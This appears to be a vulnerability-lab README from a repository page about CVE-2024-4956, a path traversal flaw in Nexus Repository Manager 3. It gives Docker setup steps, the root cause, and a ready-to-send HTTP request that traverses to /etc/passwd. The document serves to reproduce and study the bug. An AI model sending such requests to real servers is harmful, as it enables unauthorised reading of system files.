Aaron
63285f61aa
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47 lines
1.7 KiB
Markdown
47 lines
1.7 KiB
Markdown
# Nexus Repository Manager 3 Unauthenticated Path Traversal (CVE-2024-4956)
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[中文版本(Chinese version)](README.zh-cn.md)
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Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.
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A path traversal vulnerability has been discovered in Nexus Repository 3 before version 3.68.1, the vulnerability allows for an attacker to craft a URL to return any file as a download, including system files outside of Nexus Repository application scope, without any authentication.
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References:
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- <https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16>
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## Vulnerable environment
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Execute following command to start a Nexus Repository Manager version 3.68.0:
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```
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docker compose up -d
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```
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After the server is started, browse `http://your-ip:8081` to see the home page of Nexus.
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## Exploit
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Just like SpringMVC CVE-2018-1271 from Orange Tsai's [share](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf), Jetty's `URIUtil.canonicalPath()` also treats the empty string as a directory which is the root cause of this vulnerability:
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Simply send following request to reproduce the issue:
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```
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GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
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Host: localhost:8081
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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```
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As you can see, `/etc/passwd` has been exposed directly:
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